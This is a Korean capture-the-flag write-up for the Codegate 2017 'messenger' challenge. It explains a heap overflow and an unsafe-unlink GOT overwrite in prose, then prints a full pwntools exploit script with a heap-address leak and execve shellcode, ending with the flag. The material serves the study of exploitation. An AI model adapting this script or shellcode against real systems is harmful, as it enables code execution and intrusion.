2017. 2. 18. 23:53

## Codegate CTF_2017(messenger, pwn)


[Summary]

1. heap overflow 취약점(사이즈 체크를 하지 않아서)

2. unsafe unlink 취약점을 이용하여 공격(쉘코드 이용) & Memory Leak


[Analysis] 

  messenger 문제는 [그림 1]과 같이 64bit 바이너리로 보호기법으로는 Stack Canary가 걸려있고 NX는 걸려있지 

않은 것을 확인할 수 있다. 실행시키면 마찬가지로 [그림 18]과 같이 5가지의 단순한 메뉴를 가지고 있는 

프로그램이다. 1번 메뉴는 Leave message기능으로 사용자 입력을 받아 힙에 동적으로 할당하여 message를 

남기는 기능을 수행한다. 2번 메뉴는 Remove message 기능으로 남긴 메시지를 지우는 기능을 수행한다. 

3번 메뉴는 Change message 기능으로 남긴 메시지를 수정할 수 있는 기능을 제공한다. 4번 메뉴는 입력한 

메시지를 확인하는 메뉴이다. 마지막으로 5번 메뉴는 exit 기능으로 단순히 프로그램을 종료하는 기능을 

제공하는 메뉴이다.



 전체 프로그램을 IDA를 통해 분석한 결과 이 프로그램의 몇 가지 특징을 간단히 정리해보면


   1. Leave 메뉴로 남길 수 있는(동적할당으로 힙청크를 생성할 수 있는 횟수) 메시지는 2개로 제한되며,

   2. uaf를 막기 위해 삭제된 청크를 보거나 할 경우 에러를 띄우며,

   3. Change 메뉴를 이용할 때 size를 체크하지 않아 힙 오버플로우를 유발한다.


 이제 이러한 특징들을 이용하여 이 프로그램의 취약점을 공략할 건데 위에서 정리한 프로그램의 특징 중 힙

오버플로우가 발생하는 코드는 아래 [그림 1]과 같다.


[그림 1] 힙 오버플로우 발생 코드


 따라서 이 취약점을 확인하기 위해 IDA를 이용하여 동적 디버깅을 해볼건데 시나리오는 우선 1번 메뉴(Leave)를

이용하여 2개의 메시지를 남긴 후 3번 메뉴(Change)를 이용하여 사이즈 체크를 하지 않는 점을 이용하여 2번째 

힙 청크를 덮어씌울 수 있는지 확인하는 것이다. 이 시나리오대로 실행하면 아래 [그림 2]와 같이 힙 오버플로우가

발생하여 다른 힙 청크를 덮어씌우는 것을 확인할 수 있다.


[그림 2] 힙 오버플로우 확인


 이제 이를 어떻게 활용할 것인가에 대해 생각을 해보아야 하는데 처음에는 1번 leave메뉴를 2번 사용하여 힙 2개를

malloc으로 할당 받은 후 3번 Change메뉴를 이용하여 1번째 힙 청크에서 오버플로우를 시켜 2번째 힙 청크의 헤더를

바꾼다음 2번 remove메뉴를 이용하여 2번째 힙 청크를 free 시키고 마지막으로 1번 메뉴를 다시 이용하여 힙 청크를

새로 할당 받을 대 변조된 힙 청크의 헤더로 인해 got영역에 malloc 할당이 되어 원하는 값을 쓰려고 했다.


 하지만 이 방법이 제대로 되지 않아 다른 방법을 찾기위해 malloc을 해주는 함수와 free를 해주는 함수를 분석 

하다보니 free역할을 하는 함수 부분 중 다음 [그림 3]의 코드에서 free하는 현재 청크의 bk의 fd를 현재 청크의 

fd로 바꾸는 unlink 하는 과정에서 취약점이 발생하여 임의의 주소에 현재 청크의 fd(다음 힙 청크(next chunk, fd))

의 주소를 쓸 수 있다는 것을 확인하였다.


[그림 3] free 내의 unlink 취약점


 이러한 취약점을 바탕으로 페이로드를 구성하여 실행하면 아래 [그림 4, 5]와 같은 힙 상황과 실제 got영역에 있는

exit()함수의 got(0x602070)에 현재 힙 청크의 fd주소가 덮어씌어지는 것을 확인할 수 있으며 마지막으로 exit()

함수를 트리고하기 위해 마지막 Quit 메뉴를 이용하면 exit함수가 실행되면서 덮어씌어진 got로 넘어가게 되고 

이는 힙 주소이다.


 만약 이 부분에 쉘코드가 있다면 NX도 걸려있지 않기 때문에 실행가능하게 되므로 최종 페이로드 구성에서는

got를 덮은 이 후 그 주소(2번째 힙 청크 다음 3번째 힙 청크가 될 곳)에 2번 Change 메뉴를 통해 쉘코드를

집어넣은 후 Quit 메뉴를 실행하면 정상적으로 쉘코드가 실행될 것이다.


[그림 4] next chunk's bk 수정


[그림 5] exit()'s GOT overwrite


 여기까지 잘 왔는데 마지막으로 3번째 문제가 생긴다. 위 [그림 3]에서 이전 청크의 fd에 현재 청크의 fd가 덮어

씌어지는데 마찬가지로 아래 [그림 6]의 코드에 의해 unlink동작에서는 현재 청크의 bk에 이전 청크의 bk가 덮어

씌어지는데 이 때문에 쉘코드가 중간에 끊기게 된다.


[그림 6] free 내의 unlink 쉘코드 문제점


 이를 해결하기 위해서 생각해낸 방법은 2번째 힙 청크의 데이터 영역에 쉘코드를 집어넣고 got가 가리키는

곳에는 전체 쉘코드가 아니라 2번째 힙청크의 데이터 영역의 주소를 push; ret; 하는 쉘코드만 집어넣으면

쉘코드가 짤리지 않고 잘 동작하게 된다. 이를 하기 위해서는 2번째 힙 청크의 데이터 영역의 주소를 알아야

하는데 이는 힙 주소 릭을 이용해서 오프셋 계산을 해야 한다.


 힙 주소를 릭하는 방법은 babypwn에서 주소 릭하는 방식과 비슷하게 먼저 Leave 메뉴를 이용해 힙 청크

하나를 생성하고 Change 메뉴를 이용하여 1번째 청크의 fd의 bk이전까지 A로 가득(64개) 채운 다음 View

메뉴를 이용하여 1번째 청크의 fd의 bk를 릭하고 주소 계산(+0x60)을 한다. 그리고 마지막으로 quit메뉴를

통해 트리거를 하면 아래 [그림 7]과 같이 쉘을 딸 수 있다.



[Exploit Code] - messenger_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./messenger_patched")
else:
    p = remote("110.10.212.137"3333)
 
binary = ELF("./messenger")
 
raw_input()
 
############## global variables ###############
def select_menu(menu_str):
    p.recvuntil(">> ")
    p.send(menu_str)
 
def leave_msg(size, msg):
    select_menu('L\n')
    p.recvuntil("size : ")
    p.send(str(size)+'\n')
    p.recvuntil("msg : ")
    p.send(msg)
 
def remove_msg(index):
    select_menu('R\n')
    p.recvuntil("index : ")
    p.send(str(index)+'\n')
 
def change_msg(index, size, msg):
    select_menu('C\n')
    p.recvuntil("index : ")
    p.send(str(index)+'\n')
    p.recvuntil("size : ")
    p.send(str(size)+'\n')
    p.recvuntil("msg : ")
    p.send(msg)
 
def view_msg(index):
    select_menu('V\n')
    p.recvuntil("index : ")
    p.send(str(index)+'\n')
 
def quit():
    select_menu('\n')
 
if __name__ == '__main__':
    heap_leak_payload = 'A'*64
    leave_msg(32'AAAA')
    change_msg(072, heap_leak_payload)
    view_msg(0); print p.recv(64); leak = p.recv(4); print leak; print 'len : '+str(len(leak))
    
    heap_leak_addr = u32(leak)
    print '[+] heap leak addr : ' + hex(heap_leak_addr)
 
    payload1 = 'A'*48 + p64(0x3b8+ p64(0x0+ p64(0x602070-0x8)
    change_msg(0,72, payload1)
    leave_msg(32'AAAA')
 
    jmp_shellcode = asm("push "+hex(heap_leak_addr+0x60),arch='amd64',os='linux')
    jmp_shellcode += asm("ret",arch='amd64',os='linux')
    shellcode = '\x90'*20 + '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
    payload2 = shellcode + '\x90'*5 + jmp_shellcode
    change_msg(1100, payload2)
    remove_msg(1)
    quit()
    p.interactive()
 
# ref1) https://www.exploit-db.com/exploits/36858/
cs



[Get Shell & Flag~~!!!!]

[그림 7] Get Shell & Get Flag("1_wan3_y0ur_m3ssenger$%")


끝~!




Posted by holinder4S